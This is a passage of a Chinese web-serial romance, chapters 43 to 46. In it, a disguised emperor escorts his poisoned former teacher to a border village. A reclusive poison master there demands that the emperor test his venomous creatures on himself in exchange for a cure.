林怀玉先坐了下来,等着宿泱点完菜,听见隔壁有人一边吃着酒,一边道:“晚上不是祈雨祭礼吗?周家二姑娘和你有婚约,你人还没见过呢,这次可以见见。” 另一个人笑了笑,腼腆道:“我们……已经约好了,晚上会见的。” 那人笑得爽朗:“好啊,偷偷已经约上了是吧?” 另一人连忙道:“没有偷偷,我们本就是有婚约的……只是婚前不能见面这规矩,属实让人生气。” 那人也道:“是啊,每年痴男怨女都只能趁着祈雨祭礼见见要成婚的人,或是在祭礼上相中了人去说媒。” 宿泱点完了菜,走到林怀玉身边,见林怀玉出神,问:“老师在看什么?” 林怀玉道:“这里晚上有祈雨祭礼。” 宿泱看了林怀玉一眼,挑眉道:“老师想看?” 林怀玉没有说话,他并不是特别喜欢热闹的事情,林宅住的也有些偏远,但他既然都出了门,离开了江南,余生想的也是多见见那些未曾见过的风光,感受感受别样的风俗人情,这霞雨镇虽然也是江南,却也快出江南了,祈雨祭礼他当真是不曾听过,果真每个地方都有每个地方的风俗。 宿泱看着林怀玉垂眸深思的模样,笑了笑:“我还不曾听闻过祈雨祭礼,也不知和京都的祭祀大典是不是一样的,不如晚上去看看?” 林怀玉抬眸看了宿泱一眼。 宿泱面色一僵,知道自己好似提了什么不该提的事,连忙闭嘴。 祭祀大典,他骗了林怀玉,假装那是一场封后大典,他想要林怀玉因为他封后一事着急吃醋,也想看林怀玉穿上婚服,那一身红衣光彩夺目的模样。 桌子上上了几道菜,都是林怀玉的口味,林怀玉不吃辣,喜欢酸甜的口味,尤其喜欢吃酸的,宿泱特地选了几道糖醋的做法。 宿泱夹了菜喂到林怀玉嘴边,都不舍得让林怀玉动筷子。 林怀玉瞥了他一眼,道:“去看看吧,我也想见识见识祈雨祭礼。” 宿泱眸光一亮,唇畔的弧度提了起来:“好啊。” 夜里,明月高悬,霞雨镇灯火通明,镇上的灯笼被尽数点亮,来来往往的人格外多,客栈门口的道上都挤满了人。 林怀玉刚一出门,险些就在人群中被推着走了。 他蹙了蹙眉,还没动作,手被人牵住。 林怀玉转头望去,宿泱在他的身后拉住了他,很快走到了他的身侧,还捏了捏他的手,特地解释道:“这样不会走散。” 林怀玉看了他一眼,默许了。 两个人并肩在人群里走着,直到看到祈雨祭礼。 所谓祈雨祭礼,便是请一位巫神作法,心诚则灵的迷信祭典。 宿泱看着那一套流程,轻笑了一声:“原来我祭祀大典的时候这般招笑。” 林怀玉轻轻提了提唇角:“你不信这些,自然觉得招笑,但在他们眼里,心诚则能上达天听,他们信,就不可笑。” 宿泱看向了林怀玉,那万千灯火之间,林怀玉比火光更加耀眼。 “你笑了。”宿泱噙着笑望着他,像是发现了什么珍宝。 他终于又看到林怀玉展颜。 林怀玉抬眸,唇角一落:“与你何干。” 宿泱笑意一顿,但很快又收拾好了情绪,陪着林怀玉在灯会上逛。 忽的,有一朵花砸在了宿泱的胸口上,宿泱步子停了停,迎面便走来了一位俏丽的姑娘,她手里还有一朵花,看着宿泱,问:“你是哪家的公子?” 宿泱挑了挑眉,反问她:“你有什么事吗?” 那姑娘将手里的花递到宿泱面前,道:“我看上你了,我明日托了媒人去你家说亲。” 宿泱轻笑了一声,瞥了一眼身侧的林怀玉,道:“我有心上人了。” 那姑娘面上失落,可惜道:“啊……那好吧。” 林怀玉转身便走。 宿泱手里一空,连忙拨开人群跟了上去:“老……怀玉。” 林怀玉步子一顿:“你喊我什么?” 宿泱笑开:“你不是说不认我这个学生了吗?那既然你我如今并非师徒,我喊一声怀玉并不为过吧?” 他其实……不想在外面喊林怀玉老师了,他早就不想这么喊了。 他想让所有人都知道,他们不是师徒,或者是,他们不只是师徒。 林怀玉深深地看了宿泱一眼:“你可不要后悔。” 宿泱眨了眨眼,立刻转移了话题:“你之前在江南说,你有个心上人,是谁?” 林怀玉冷笑了一声,故意道:“是个温柔听话的人。” 宿泱笑意一僵,随即又道:“我也温柔听话,你的心上人,可以是我吗?” 烟火在刹那炸响,霞雨镇的夜空尽是绚丽的火光,人群中提着灯笼汇成一条灯河,他们在灯火长河中对视。 林怀玉垂眸,低声道:“可惜,我的心里住不下这么多人。” 宿泱眼瞳中的万千灯火霎时间暗了下去。 林怀玉转身朝着客栈走去。 祭礼看完了,灯会也快结束了,再不休息休息,明天又在马车上赶路。 宿泱在林怀玉身后跟着,跟着跟着,林怀玉便进了房间,房门一关,将他关在了外头。 宿泱朝着林怀玉的房间轻轻叹息了一声,转身走到了隔壁。 林怀玉进了屋子,身形一晃,连忙扶着桌子。 他能感觉到自己的身体越来越虚弱,仅仅是走了这么一会儿,便一阵阵眩晕席卷而来。 他勉强走到床榻边躺下,等着眩晕的感觉过去。 房门却在此时被人轻轻推开,有人趁夜偷偷溜了进来。 林怀玉眉心轻蹙,没有立刻出声。 那人渐渐靠近他,走到了床榻边,低语道:“怎么被子都不盖?” 林怀玉听到声音,心口一松。 宿泱怎么又跑到他的房间来了? 身上被盖好了被子,但宿泱似乎并未离开,而是坐在床边一直看着他,那灼灼的目光即便林怀玉闭着眼也能感觉到。 林怀玉等了半晌,宿泱仍旧没有动静,他只好睁开眼,问:“你有什么事?” 宿泱一愣,没想到林怀玉没睡着:“我……我吵醒的你吗?” 林怀玉淡淡道:“我没睡。” 宿泱应了一声,解释道:“虽然只有一墙之隔,但是我怕你突然出什么事,还是想着在房间里守着你,你放心,我什么都不做,就是看着你。” 林怀玉没好气道:“你看着我,我睡不着。” 宿泱尴尬了一下,起身走到桌子边坐下:“那我坐这里,可以吗?” 林怀玉瞥了他一眼,道:“滚远点。” 宿泱只好又起身,找到了门口:“那……这儿呢?” 林怀玉抿了抿唇,宿泱站得再远,那一道视线仍旧在他身上,站多远都没用。 他只能冷声道:“你要么回你自己的房间去,要么就打地铺躺下,别盯着我。” 宿泱一愣,随即笑着抱了被子心甘情愿地打地铺。 大雍天子沦落到在客栈打地铺,传出去都没人信。 可宿泱却笑得好似打下了江山。 林怀玉感受不到那道灼人的目光,终于能够闭上眼睛安心睡觉。 半晌,他听见下放传来一道闷闷的低语:“怀玉,你的心上人,究竟是谁啊?” “他是京都人吗?还是江南人?何时认识的?在离开京都之后认识的吗?” “他有多温柔?多听话?能比我温柔?能比我听话?” “那他怎么不见了?抛弃你了?还是……” 林怀玉忍无可忍:“滚出去。” 第44章 第 44 章 只要你能救他 日光明媚, 没了大雨的浇灌,神舟大地都变得炽热,被艳阳炙烤着, 地上都能放个鸡蛋煮熟。 林怀玉一上马车,却觉得里面十分凉快, 冰块又加多了些, 他在马车里坐了下来,底下一片柔软。 宿泱不仅把马车里面多添了冰块, 还铺上了一层软垫,林怀玉靠坐着也不会硌着。 宿泱上马车的时候,小心翼翼地看了一眼林怀玉, 只恐林怀玉见了他又生气。 好在林怀玉还不至于把他踹下车。 马车一路朝着大楚而行, 林怀玉在马车上时不时翻个身或是换个动作,宿泱注意到, 问:“怀玉,是哪里不舒服吗?” 林怀玉没吭声。 宿泱又十分耐心地问:“腰还是酸吗?” 林怀玉应了一声, 软垫有些作用, 但一个姿势久了还是难免不舒服。 宿泱看着林怀玉换了好几个姿势后, 低声道:“实在不行, 你可以靠我腿上, 说不定会好一些?” 林怀玉抬眸看着宿泱,冷笑了一声:“你想的倒美。” 宿泱移开了目光, 道:“我没有想别的,只是想让你舒服一点。” “是吗?”林怀玉仍旧注视着宿泱, 对方那双狭长的眼眸中没有一丝过分的念头。 林怀玉这才收回了目光,却仍旧靠在马车的角落里,望着外面一路的风景。 只是马车越赶, 路越发颠簸,林怀玉被颠得难受,最终还是歪着身子倒在了宿泱肩上。 宿泱连忙把人接住,扶到怀里,他看了一眼外面,安抚林怀玉:“就快到了,再忍忍。” 他一边轻声说着,一边轻轻拂着林怀玉的背。 等马车缓缓停下,已经是九日之后了,他们终于抵达了大楚边境,落木寨。 林怀玉被宿泱扶着下车,马车被车夫牵走,二人便进了寨子。 “这是人并不多,我们不至于走散,还牵着?”林怀玉瞥着他被宿泱牵着的手,声音渐冷。 宿泱笑了笑,只好松开林怀玉的手:“我怕人生地不熟,找不到你了。” 林怀玉哂笑:“我又不是小孩子。” 宿泱却只是看着林怀玉,眉眼间带了点郁色:“我是怕……你又抛弃我,一个人走了。” 林怀玉神色一顿,看了宿泱一眼,扯了扯嘴角:“我如今这副身子,还能跑到哪去?” 宿泱面色一僵,没敢再在林怀玉面前说些有的没的。 两人走在大街上,却发现周围的人频频看向他们。 宿泱只得靠近林怀玉,在对方耳边轻声道:“他们为什么都在看我们?是怀玉长得太好看了吗?” 林怀玉瞥了宿泱一眼,不动声色地同他拉开了一步的距离,道:“若只是因为长相,不至于每个人都要看一眼,而且那眼神,除了欣赏美貌,似乎还有点别的东西。” 宿泱见林怀玉特地退开,不由得有些失落,他却也只能附和着点头:“我去问问原因,怀玉,别乱走,在这里等我。” 林怀玉没多说什么,倒是停了步子。 他也想知道原因。 宿泱随即挑了个看上去面善的人,跑过去问:“我想问,你们在看什么?” 那人看着宿泱,倒也没隐瞒,直接道:“二位是刚来这的异国人吧,我劝你们还是换一身衣服比较好,咱们寨子不太喜欢他国的人,就算……长得好看也没用。” 宿泱了然,立刻回头,见林怀玉确实乖乖站在原地等他,不由得扬了扬唇角。 他朝着林怀玉走去,将这事告诉对方。 林怀玉神色未变,颔首道:“确实有些地方会排斥异国人,虽然如今大雍与其他两国还算和平友好,但神州大陆分久必合合久必分,迟早有一日,这平静的表面会被打破的。” 宿泱笑了笑,不以为然:“无妨,只要他们两国不犯我大雍,我也不想见到百姓流离失所。” 毕竟,这也绝对是林怀玉不愿见到的场景。 林怀玉垂着眼眸没有说话,宿泱瞧见一家制衣店,道:“前面买两件衣服吧,太过瞩目对我们办事也不利。” 林怀玉点了点头,跟着宿泱朝制衣店走去。 两人再从制衣店出来的时候,皆是换了一身装束。 林怀玉看到门口等他的宿泱,眸光微动。 大楚的衣服与大雍风格迥异,宿泱穿着这一身深蓝色的衣袍,将他的身姿显了出来,腰细腿长,宽肩窄腰,加上衣服上缀着的银铃,整个人颇具少年气息。 若不是宿泱常年身居高位,那一身天子威压格外盛气凌人,林怀玉险些都要忘了,这人今年不过二十三。 宿泱看到林怀玉的时候,眸光一怔,不知道为什么,林怀玉这一身和他还不太一样,那衣袍将林怀玉瘦的特性展现的淋漓尽致,黑色的衣衫裹在林怀玉的胸口和下身,却将腰露了出来,虽说有银链挡着,可那抱着半掩的模样,反而更加诱人。 宿泱眉头一皱,连忙折返到制衣店里,又拿了一条深蓝色的纱裹住了林怀玉的腰。 林怀玉其实也有些不太自然,这确实是他第一次穿这么露的衣服,宿泱替他遮上,倒让他松了口气。 见林怀玉没说什么,宿泱将那纱在林怀玉腰间打了个结,道:“走吧,咱们去找家客栈,先落脚。” 林怀玉点了点头。 宿泱这次却对小二道:“我们要一间上房。” 林怀玉的目光顿时落在了宿泱身上,他等着宿泱拿了牌子回来,对宿泱道:“你是准备继续站在门外吗?” 宿泱有些尴尬地笑了笑,道:“我看着你,睡哪里……无所谓。” 林怀玉听他这么说,垂眸接过牌子:“随你。” 两人安顿好行礼,又离开了客栈。 宿泱在林怀玉耳边道:“梵尘暂时还是没有消息,我的人告诉我,前面那家卖鲜花饼的老板是这儿消息最灵通的人,咱们可以先去问问他。” 林怀玉看了宿泱一眼,轻笑道:“你还派了人?” 宿泱道:“保护你总要万无一失。” 林怀玉没说什么,跟着到了卖鲜花饼的店里。 出来的是一个老者,看着门口齐齐站着的两个人,愣了愣:“二位……随便看看,我这儿的鲜花饼可好吃了,你们喜欢什么花,都能挑。” 宿泱走到旁边挑了个玉兰的递给林怀玉,特意道:“你多挑点。” 一旁的老板附和道:“对,多挑点。” 宿泱不动声色地靠近老板,低声问:“老板,向你打听个人,你们这里有没有一个比较神秘的种族,叫做灵祭族的?” 老板愣了愣,随即皱着眉头思索了一会儿,摇头:“没听说过,我们寨子没有,你可以到别的寨子问问。” 宿泱眉心一拧,大楚说大不大,说小不小,若真这般大海捞针,二十天万一也找不到灵祭族…… “你说的这个灵祭族,他具体是做些什么的呢?又或者服饰穿着是什么样子的呢?”老板见宿泱一脸沉郁,多嘴问道。 宿泱却只能摇了摇头:“不知道。” 他派人查过灵祭族,但一无所获,书中也没有记载。 不过若真这么好找,梵尘也不会找了这么多年杳无音信了。 他正想着,一旁林怀玉忽的身形一晃,宿泱的余光一直在林怀玉身上,见状连忙跑了过去,将林怀玉接住。 毫无预兆的,林怀玉就这样晕了过去。 林怀玉心里一惊,将人抱了起来,问:“哪里有医馆?” 老板连忙指了个方向。 宿泱直接抱着林怀玉冲到了医馆:“大夫!快,看看他。” 那大夫见宿泱火急火燎的,以为是什么人命关天的大事,也不马虎,立刻搭了林怀玉的脉,半晌,他皱着眉头叹气:“这……” 宿泱道:“有话直说就是。” 大夫摇头:“没得救了,这毒中得有些年头了,而且十分诡异,我解不了,毒也已经侵入心脉,神仙难救,你啊,准备后事吧。” 宿泱听着大夫的话,每一句都好似一把剑穿透了他的心脏,他脸色一点一点沉了下去,他紧紧握着林怀玉的手,眼底一片阴沉。 那大夫看宿泱一副煞神的模样,心底一跳,这人该不会是什么凶神恶煞,救不活人就要他们陪葬吧?! 他绞尽脑汁,想了想,对宿泱道:“哦,对了,你从这条街走到底,拐角处住着的那个人,他是我们这里出了名的毒师,说不定他能解呢?” 只要别摊在他这里就好说。 宿泱闻言,眼底一亮,好似升起了希望,大夫想了想,又好言提醒他:“不过,那人的脾气古怪得很,你去找他他未必就会答应帮你的,你得做好准备,他也有可能见死不救的,到时候可不能赖我。” 宿泱扯了扯嘴角,只要那个人真能救,不论什么方法,威胁还是利诱,他非要那人救林怀玉不可! 他抱着林怀玉立刻朝着大夫说的那地方跑去。 “有人吗?”宿泱抱着林怀玉,轻轻放到床上,望着屋子四周,木架上全都是瓶瓶罐罐,一看便是药师的住处。 没人应他,他又喊了两声。 里头才缓缓走出来一个人:“干什么?吵人睡觉。” 那人虽然穿得也是当地的服饰,但那衣服比林怀玉一开始换上的还要暴露,胸口的肌肤露了一大片,上面似乎还有着某种纹身。 宿泱见他走来,连忙道:“我听人说你擅长毒?” 那人眉头一挑,道:“是又怎样?” 宿泱指着林怀玉道:“那你看看他,他中了毒,很难解的毒,你能解开吗?” 那人瞥了一眼床榻上的林怀玉。眼底闪过一丝惊艳,林怀玉的面色苍白,半张脸陷在他的床榻间,像一只濒死的狐狸。 他心底一动,嘴上却道:“我可不是什么慈善家,解毒可以,报酬呢?” 宿泱闻言,心底一喜,连忙问:“你要什么?” 那人看向宿泱,挑眉:“什么都可以吗?” 宿泱点头:“只要你能救他,什么都可以。” 那人转了转视线,似乎在思索该提一个什么样的要求,良久,他轻笑了一声,道:“啊!我最近新得了几只宝贝,你要是能帮我试一试它们的毒性,看看哪一只最毒,那我说不定也可以帮你的忙。” “试毒?”宿泱看着那人,似乎有些怀疑,对方的要求就这么简单。 那人笑着道:“是啊,试毒,不过呢,我那几只宝贝都是难得一见的毒物,它们身上的毒有的见血封喉,有的痛苦万分,有的还会让人失去神智变成一个傻子,而我可都没有解药哦,现在,你还要跟我做这个交易吗?” 第45章 第 45 章 我只要你活着 风卷云涌, 外头的天色一下暗了下来,天气多变,陡然阴沉, 却不似要下雨,只是遮蔽了上方的日光, 将大地笼罩成阴暗。 宿泱望着眼前漫不经心的男人, 那人仿佛在说一件吃饭这样稀松平常的事,可字字句句都是杀人不眨眼的毒。 他嗤笑了一声, 望向林怀玉,躺在床榻上的人起伏微弱,仿佛下一秒就会彻底没了呼吸, 明明上一秒还在和他一起挑鲜花饼, 还在冷着脸生气,可现在却躺在那里了无生机。 他看向那个所谓的“毒师”, 目光坚定:“我答应你。” 毒师眉头一挑,眼底倒是有些诧异:“你居然真的肯答应我?他是你的什么人?你居然为了他肯付出生命还要受尽折磨。” 宿泱蹲下来轻轻抚过林怀玉的脸, 眼底是无尽的温柔。 如果可以, 他想一直陪着林怀玉, 但比起他的私心, 他更想林怀玉活着。 宿泱低声道:“他是对我来说, 最重要的人。” 他站起身,对那毒师道:“来吧。” 那毒师便也没再说什么, 有人愿意给他试毒,他自然求之不得。 只是他还没说话, 宿泱又用十分危险的眼神盯着他,声音低得可怕:“但若是让我知道你在骗我,你救不了他, 即便是我死,你也别想活着。” 那毒师被宿泱阴鸷的眼眸看得一惊,随即道:“我自然有法子解他身上的毒,他中的是灵祭族的万绦噬心毒,这世上确实没有解药,但以毒攻毒的法子可以,我这几个宝贝里面,只要你能帮我找出最毒的那只,就能救他。” 宿泱听着对方对灵祭族似乎十分熟悉,心头思索着,还没等对方拿出他所谓的宝贝,宿泱被身后的人扯住了衣袖。 他猛的回头,只见林怀玉醒了过来,他连忙蹲下来,反手握住林怀玉:“你醒了?哪里觉得不舒服吗?” 林怀玉皱着眉头,看着宿泱,道:“我们走。” 宿泱愣了愣,随即垂下眼眸,道:“怀玉,我找到灵祭族的人了,他能救你。” 林怀玉直直望着宿泱,叹了一声:“他的要求我听到了,我不答应。” 宿泱指尖一顿,抬眸竟觉得有些欣喜,他半是不确定地问:“你是……不想我死吗?” 林怀玉居然点了头:“是。” 宿泱在此刻,内心的狂喜快要压制不住,他想抱住林怀玉,想亲吻林怀玉,他的所有怀疑都得到了确定,林怀玉在乎他。 然而下一秒,林怀玉拉着他道:“先走,解毒的事我们再商议一下,好吗?” 宿泱的所有激动又落回了原点,他刚要开口,门口又传来一道熟悉的声音:“你们真的在这儿,我听路上的人说有人竟然主动来找什么毒师,我猜想可能是你们,就找过来了,果然是你们啊!” 来人正是季无忧,他看着屋子里的两人,笑容扬起,虽然他们只分别了十日,但他再次见到林怀玉还是很高兴。 这几天他马不停蹄地安排各种事,还派了人打听灵祭族,接到宿泱的消息立刻就赶过来了。 只是屋子里的气氛似乎不太对劲。 “我……来的不是时候?”季无忧眨了眨眼,目光落在林怀玉身上。 “不,”林怀玉看向季无忧,立刻道,“你来的正是时候,我们打算离开这里。” “噢噢噢,”季无忧虽然不太明白林怀玉的迫切,但还是上前扶住林怀玉,“走吧,先去你们落脚的地方,我们慢慢说。” 宿泱见状,也只能先跟着林怀玉离开,临走的时候他看了一眼那位毒师,对方对他们离开倒是并未阻拦,只是笑着目送他们。 但宿泱总觉得,那毒师的眼神似乎在说,你会回来找我的。 宿泱没再停留,赶上林怀玉在另一边将人扶住。 季无忧已然开始问:“那个人是毒师,那他能解你的毒吗?” 林怀玉垂眸:“他应该是灵祭族的人。” 季无忧顿时睁大了眼睛:“灵祭族的人?!怎么居然在这边境的寨子里?不是说他们躲得很深吗?” 林怀玉摇了摇头:“也许是灯下黑,也许……这儿不是他的住处,也不是他的久留之地。” 宿泱听到不是久留之地,神色微动。 季无忧不在乎这个,他只是激动道:“那他可以解你的毒!你们已经问过他了吗?他怎么说?” 林怀玉却没有季无忧想象中的高兴,神色仍旧淡淡的:“他救不了我。” “啊?”季无忧顿时语气都落了下来,“为什么啊?不是说灵祭族的人可以解你的毒吗?” 宿泱坐不住,道:“怀玉,你不答应他的要求,那你的毒怎么办?” 林怀玉进了门,定定地望着宿泱,神色冷峻:“宿泱,你是大雍天子,你不止是你,你怎么可以答应他如此荒诞的要求?!” 宿泱听他训斥,竟有一种久违的感觉,但随即他又想起方才他的激动好似是一场笑话:“你刚刚说……你不想我死,是因为我是大雍天子?” 林怀玉抬眸:“不然呢?你身上肩负的是大雍子民,怎么能谁让你以身犯险你便将命豁出去?” 宿泱自嘲地笑了一声,也是,林怀玉怎么会舍不得他死,林怀玉舍不得的,是大雍的百姓。 宿泱扯了扯嘴角,道:“大雍没了我,还可以有别人,左右我也没有子嗣,能者居之不好吗?” “宿泱!”林怀玉的眉头拧成了一条线,他被气得不轻,宿泱想要替他抚一抚背,却被他拍开,“你知道你在说什么吗?” 宿泱道:“我知道我再说什么,也知道自己想要什么,林怀玉,我要你活着,对我来说,你的命比我的重要。” 林怀玉这会儿有些虚弱,抬不起手,否则真想一巴掌让宿泱清醒清醒:“没有谁的命比谁更重要,但你有太多的责任,你的命关系到大雍和大雍的百姓,我死了便死了,无关紧要。” “怎么会无关紧要?!”宿泱的声音在颤抖,“林怀玉,我要你活着,我什么都不要,只要你活着!” 林怀玉望着近乎崩溃的宿泱,轻叹了一声:“宿泱,别任性。” 季无忧大概猜了猜,那毒师大抵是想了个什么一命换一命的法子,要么是宿泱的命,要么就见死不救。 他这么想着,生气道:“这什么毒师?!要救人便救,怎么还要一命换一命呢?!我找他去!” 他说完,便急匆匆出了房门,朝着那毒师的屋子跑去。 林怀玉正想拦他,口还没开,人影已经不见了。 林怀玉皱眉,对宿泱道:“去拦他,不论是你还是他,我都不希望有人为了我去送死,你明白吗?” 宿泱只能先将他们争论的事放一放,去追季无忧。 林怀玉这才松了一口气,只是体内的毒仍旧在加重,醒了这么一会儿又昏睡了过去。 宿泱追出去把季无忧拦下,季无忧瞪他:“干什么不让我去?!” 宿泱拧眉:“就算你去了又能做什么?让他给你试毒?” “试毒?”季无忧一惊,他以为就是换命,没想到还有试毒,“试什么毒?怎么试?试了就死吗?” 宿泱本不打算和季无忧多说,但林怀玉要他把人劝住,他只能道:“是那人的几只毒物,有的见血封喉,有的会让人神志不清,总之,试完必死无疑。” 季无忧瞪大了眼睛:“哇!这人好可怕,不愧是和毒物打交道的,他自己不敢试,就找人给他试毒,好毒的心。” 宿泱道:“怀玉不想你为他而死,所以,死了这条心吧。” 季无忧抿唇:“那怎么办?总不能眼睁睁看着希望就在眼前然后放弃吧?还有没有别的法子能让那毒师换个要求?” 宿泱摇了摇头,那人虽然答应解毒十分爽快,要求提的也并不拖泥带水,但宿泱能感觉出来,对方并不是一个好相处的人,也不是说换个要求就能随便换的,否则那毒师当场便救林怀玉了,何须如此麻烦。 季无忧也只能无奈地叹气:“那怎么办啊?怎么办啊?” 宿泱不放心林怀玉,道:“先回去吧。” “哦……” 两个人折返回来,看到昏睡过去的林怀玉,皆是一惊。 宿泱连忙上前把人扶到自己怀里,季无忧担忧道:“玉溪先生越来越严重了,照这样下去,他恐怕日后醒的少昏的多,最后就醒不过来了吧。” 宿泱的眉头紧紧皱着,他将人抱起,轻轻放到床上,又替林怀玉盖好被子,将季无忧支开:“去买点吃的吧,等他醒过来一定饿了。” 季无忧不疑有他,点头就走:“行,交给我吧。” 宿泱看着昏睡的林怀玉,对方气息微弱,正如季无忧所言,林怀玉会一日比一日醒的少,直到最后,再也醒不过来。 宿泱握住林怀玉的手,紧紧抓着对方,眸光中有黑云翻涌。 他对着林怀玉说话,明知对方听不见,却也还是说着:“我知道你想要什么,可我也知道我想要什么,怀玉,老师……我只想要你,想要你好好活着。” “我已经失去过一次,我知道那种滋味,锥心刺骨,夜不能寐,其实你不在乎我也好,至少我死了,你不至于那么难受。” 他望着林怀玉,好似要将那人的眉眼刻进自己的记忆深处,如同烙印烙在心里。 “就算你醒来会很生气也没关系,怀玉,我一定要救你,那些你没见过的风景,你要自己去看。” 他扬了扬唇角,俯身在林怀玉的唇上落下轻浅的一吻。 第46章 第 46 章 他死了 夜色如水, 月朗星稀,明明是炎夏,大楚的边境却与江南格外不同, 夜里竟能觉得微凉。 宿泱轻声关好房门,朝着毒师的住处走去。 他刚推门, 迎面便看到那人站在对面, 挂着笑看他。 “我就知道你会来的。”毒师如是道。 宿泱看到桌子上放了四个箱子,他不动声色地走入, 将房门关上:“这就是你的……宝贝?” 毒师点了点头:“是啊,它们都很可爱的。” 宿泱一想到等会这些“可爱”的东西要对他做什么,他不由得嗤笑了一声。 毒师看着他, 问:“你想好了吗?想好了的话我可就要开始了。” 宿泱颔首:“自然想好了。” 毒师打开了第一个箱子, 里面是一条银白色的蛇,那蛇十分漂亮, 蛇鳞泛着银光,像是洒上了一层银粉, 它吐着蛇信子从箱子里钻了出来, 朝着宿泱游了过去。 宿泱站在那里, 岿然不动, 任由白蛇缠上他的手腕, 逐渐绕到他的脖颈边。 下一秒,白蛇一口咬在了宿泱的脖颈上。 宿泱拧着眉头闷哼了一声, 白蛇已然离开了他的身体,重新回到了箱子里。 毒师一手支着下颌, 一边围着宿泱转着走,似乎在看宿泱身上有什么变化。 很快,宿泱直接吐出了一口鲜血, 他站不住,单膝跪在了地上。 那吐出的鲜血格外的红,比正常的血色要浓郁,那毒师兴致勃勃地拿着一个小册子记了下来,随即又打开了第二个箱子。 他一边道:“你可得坚持住,别中途死了,你要是没给我试完四个,我可不救人。” 宿泱已经听不到毒师在说些什么了,他整个人被体内的痛苦淹没,这种痛苦不同于伤痕,血液似乎都在沸腾,他整个人颤抖着,隐约听到“坚持”“不救”。 他猛的抬眸,看向毒师,强撑着站起来,握住那人的手腕:“你敢食言?” 那毒师被宿泱恐怖的模样吓了一跳,随即拍开宿泱的手,道:“我不会食言,我是怕你坚持不住,坏了我的好事。” 宿泱这回听清了,嗤笑了一声:“你尽管来。”. 林怀玉是被吓醒的,梦里有无数条蛇在房间里游荡,他躺在床上却动不了,那些蛇一点点靠近他,游到了他的身上,可他只能眼睁睁看着那些蛇缠住他,一条又一条将他淹没。 窒息感变得那样真实,直到一条蛇张开嘴,露出尖锐的牙齿,他猛的惊醒。 林怀玉半撑着身子坐了起来,房门也正好被人推开。 林怀玉下意识道:“吃完饭,我们同季无忧往大楚腹地走走吧。” 季无忧一听,笑道:“玉溪先生是要和我回家吗?” 林怀玉一愣,见季无忧端着早膳走了进来,眸光一抬,他看了看门口,并没有其他人,不由得问:“宿泱呢?” 季无忧摇头:“不知道啊,昨晚他让我去买吃的,但是我回来你睡着没醒,我就没叫你,哦……那时候好像就没看加他,我还以为他回房间睡觉去了呢。” 林怀玉闻言,眉头顿时蹙了起来:“不好。” 他掀开被子起身,脑袋却传来一阵眩晕,他靠着床柱缓了缓,连忙朝外走去。 季无忧也反应过来,连忙扶住林怀玉,朝着毒师的住处走去。 “你……你别急,说不定宿泱只是去找那毒师想想别的办法,不一定……”季无忧其实也说不准,他觉得昨天的宿泱越想越怪。 宿泱怎么会把给林怀玉准备吃的这种贴心照料的机会交给他呢? 那明显是把他支开的借口! 季无忧看着林怀玉难看的脸色,只能一个劲地安慰对方。 林怀玉脸色苍白,也不知道是因为体内的毒还是被气的,他冷声道:“他一贯不听我的话。” 季无忧听出林怀玉语气中的冰冷,是真的动怒了。 两个人紧赶慢赶,却在半路看到了那位毒师,林怀玉停下步子,远远地望着对方。 那人手里拿着一个比较大的盒子,一步一步缓缓朝着林怀玉走来,林怀玉仿佛被一团气堵住的胸口,闷得慌。 那毒师在他面前站定,还没开口,林怀玉先问:“宿泱呢?” 那毒师笑着道:“他和我做了交易,现在,我是来完成我的承诺的。” 林怀玉见他没有正面回答,眉头一皱:“他……” 林怀玉顿了顿,良久才又问:“他还活着吗?” 那毒师眉头一挑,问:“你想他活着呢还是死掉了呢?” 林怀玉对于这个问题从来没有犹豫:“我自然希望他活着。” 毒师却道:“那你要失望了,不过你可以活下去啊。” 林怀玉面色苍白,风经过他的周身都不忍吹得太用力,他往前走道:“我要见他。” 毒师却拉住了林怀玉,道:“我只知道,他用他的命换你的命,你现在是要浪费他用命换来的生机吗?” 林怀玉步子一顿,侧头看向毒师,又问了一次:“他真的死了?” 毒师颔首:“那是当然,四种毒各有各的毒法,也各有各的痛苦,就算他再怎么挣扎都活不成了,不过他能硬生生挺完四种毒发,也属实厉害。” 林怀玉整个人都发起抖来。 宿泱……他凭什么又擅自做决定?每次都是这样,这位这样自己就会原谅他吗? 可笑。 自作多情。 林怀玉胸口的怒意好似一块巨石压在心头,压得他喘不过气来,他转身就要走,谁知身形一晃,跌了下去。 季无忧眼疾手快,连忙把人接住。 那毒师也不废话,对季无忧道:“抱他去床上。” 季无忧这个时候也不敢耽搁,立刻朝着客栈回去。 他将林怀玉抱到床上,毒师便打开了手中的盒子,季无忧看到那里面的东西,顿时瞪大了眼睛。 虽然他生长在大楚,对于蛇啊虫啊的也很熟悉,但这样的金蟾属实不曾见过。 那金蟾很大一只,通体金色,看上去反倒不像是一只毒物。 毒师摸了摸跳到他手上的金蟾,笑着道:“若不是那个叫宿泱的试毒,我还不知道这家伙是最毒的,也就没办法解这人身上的毒了,他死的也不冤。” 季无忧:“……” 季无忧一时不知道说什么,虽然他也愿意为了林怀玉倾尽全力去寻找解毒的办法,但他自认为还做不到为了林怀玉被那些剧毒活活折磨死。 但很显然,林怀玉气的不轻,气的都晕过去了。 毕竟宿泱是大雍的天子,日后大雍恐怕又有一场动荡。 毒师松开手,那只金蟾便跳到了林怀玉的床上,他钻进了林怀玉的衣袍里,在林怀玉的身上爬了一遍,身上的黏液沾满了林怀玉全身,那黏液中的毒素便渗透林怀玉的身体,随着血液冲刷着体内的毒。 林怀玉痛呼了一声,他的血液中本就被原本的毒素侵蚀,如今两种毒素在血液中纠缠,痛苦溢于言表。 季无忧看着林怀玉在床上挣扎,不由得担忧:“你这毒真的有用吗?不会让他死得更快吧?” 那毒师把金蟾装回箱子里,瞥了季无忧一眼,道:“怎么可能,你懂毒吗?毒和毒之间有时候相辅相成,有时候又能相互克制,所以才有以毒攻毒的说法,他身上的毒,只能用这个法子解,虽然过程是痛苦了些,但好歹能活下来,不是吗?” 季无忧便没了话。 这毒师说的也有几分道理,他看着这人,问:“你是灵祭族人?” 那毒师眉头一挑,没说是也没说不是,反问:“怎么?” “你叫什么名字?”季无忧迂回地问。 那毒师道:“于思。” 季无忧应了一声,回头他得好好去查查这个于思,之前差不多灵祭族,但从这个人入手,想来能查到些什么。 “你为什么这么喜欢研究毒?”季无忧问。 于思随意道:“就是喜欢,它们都很可爱啊。” 季无忧:“……” 于思看了林怀玉一会儿,对季无忧道:“好了,我的任务完成了。” 季无忧看了一眼林怀玉,不解:“啊?完成了?这毒就这么解了吗?” 于思点了点头,下一秒,床榻上的林怀玉便吐了一口鲜血。 季无忧吓得连忙跑过去:“你不是说毒解了吗?!这是怎么回事?!” 